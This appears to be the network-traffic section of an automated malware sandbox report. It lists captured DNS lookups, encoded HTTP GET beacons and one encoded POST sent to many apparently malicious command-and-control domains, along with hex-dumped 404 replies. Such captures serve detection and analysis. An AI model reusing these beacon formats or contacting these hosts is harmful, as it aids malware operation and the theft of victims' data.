Source: global traffic	HTTP traffic detected: GET /kgjj/?lV=m0PzV+DL9MdhQie6uq/amrvVR35Q8Tf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZYXkuMLBntBAotkskh0=&LSbaT=zft4LoBw HTTP/1.1Host: www.nextlevel.financeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw HTTP/1.1Host: www.furrcali.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /w98i/?lV=UfwHaNGeM7ohZqxMT1oJCRJMGlT3jOeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5XvtXdm/7Udw9aOHtOE=&LSbaT=zft4LoBw HTTP/1.1Host: www.buyspeechst.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /js1x/?LSbaT=zft4LoBw&lV=YzadGC6YqOgjY/9qwmEESxfA+8MKCZxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswMKkfsup8/2EYKLr6Ec= HTTP/1.1Host: www.milp.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw HTTP/1.1Host: www.mzkd6gp5.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /qps0/?lV=oe/Nf5ZxPavzyNCK1vJM2Ozzw7iHMrsFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2gmVOP/g7WXCZMIn3pc=&LSbaT=zft4LoBw HTTP/1.1Host: www.bokus.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw HTTP/1.1Host: www.givvjn.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw HTTP/1.1Host: www.bonheur.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw HTTP/1.1Host: www.rpa.asiaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /kj1o/?lV=aFAzn/LT2mOAaNQHP98soQbFSeChigB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQskl/LrNJEccoBVqSJKs=&LSbaT=zft4LoBw HTTP/1.1Host: www.ogbos88.cyouAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: www.milp.store
Source: global traffic	DNS traffic detected: DNS query: www.chiro.live
Source: global traffic	DNS traffic detected: DNS query: www.mzkd6gp5.top
Source: global traffic	DNS traffic detected: DNS query: www.bokus.site
Source: global traffic	DNS traffic detected: DNS query: www.elettrocoltura.info
Source: global traffic	DNS traffic detected: DNS query: www.givvjn.info
Source: global traffic	DNS traffic detected: DNS query: www.bonheur.tech
Source: global traffic	DNS traffic detected: DNS query: www.rpa.asia
Source: global traffic	DNS traffic detected: DNS query: www.ogbos88.cyou
Source: global traffic	DNS traffic detected: DNS query: www.smartbath.shop
Source: global traffic	DNS traffic detected: DNS query: www.100millionjobs.africa
Source: global traffic	DNS traffic detected: DNS query: www.mirenzhibo.net
Source: global traffic	DNS traffic detected: DNS query: www.nextlevel.finance
Source: global traffic	DNS traffic detected: DNS query: www.furrcali.xyz
Source: global traffic	DNS traffic detected: DNS query: www.buyspeechst.shop
Source: global traffic	DNS traffic detected: DNS query: www.lejgnu.info

Source: unknown

HTTP traffic detected: POST /jwa9/ HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enConnection: closeCache-Control: no-cacheContent-Length: 199Content-Type: application/x-www-form-urlencodedOrigin: http://www.chiro.liveReferer: http://www.chiro.live/jwa9/User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 6c 56 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 4a 51 5a 33 37 4c 6f 44 49 59 30 2f 43 6e 6b 43 57 72 52 43 67 3d 3d Data Ascii: lV=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoJQZ37LoDIY0/CnkCWrRCg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:47:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oi9rZc1DajXu1cLSVCN7jLyQ0aRms2gZLp75UQAdmOBAl%2FnlViuBI%2FP6bavjHK%2FBc19EvmEP%2B8Jebj5TPgTCOybMbJhDkVvHqHCqAKCSNYm1segd3upbK2Cayc8M9%2Bio26BT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5919f6c076075-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118823&min_rtt=118823&rtt_var=59411&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXhyTWjNyFWLhCq5LJQ0mJ1gXWo415ILhjEOrR%2BMXrpKAw1%2FL7GYDUIKWJKg%2B7YEDrue1SLJyti%2Bd0cIvAcyyTyTD5EgOn3DpsiSUPX03ar1byJ4HZ27nn9LC587PAUEFgi7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff591affb8fa482-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=120227&min_rtt=120227&rtt_var=60113&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zELVCdTgKqAqAvxAEYSCyv85anV331n63HVrbhVhkxEHdyqn6GB7W2T4qdp%2B%2B2C1mSmGBfD7SjEhQ3dVNHOMr7Op3CJVMDgnT3Mmj1ta1A%2BeVxfSwNsq5LcGeWywdxWMNd7X"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff591c08a05a482-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=120105&min_rtt=120105&rtt_var=60052&sent=5&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7964&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2FjrVcVQEWt6V7%2B9%2BJAhwqZHBpNWakYQZCxhzY3EL4%2B29uL2NKdnjArQ6U6LXWuFA0GSCdb%2FNC0jdG%2FkRdwev5CB%2FKJ3YPWg6Fad2EdiZeOdEsHUqp4Uf6rYFsawNnL5vDyo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff591d12c780298-ORDalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119802&min_rtt=119802&rtt_var=59901&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:11 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:14 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:17 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 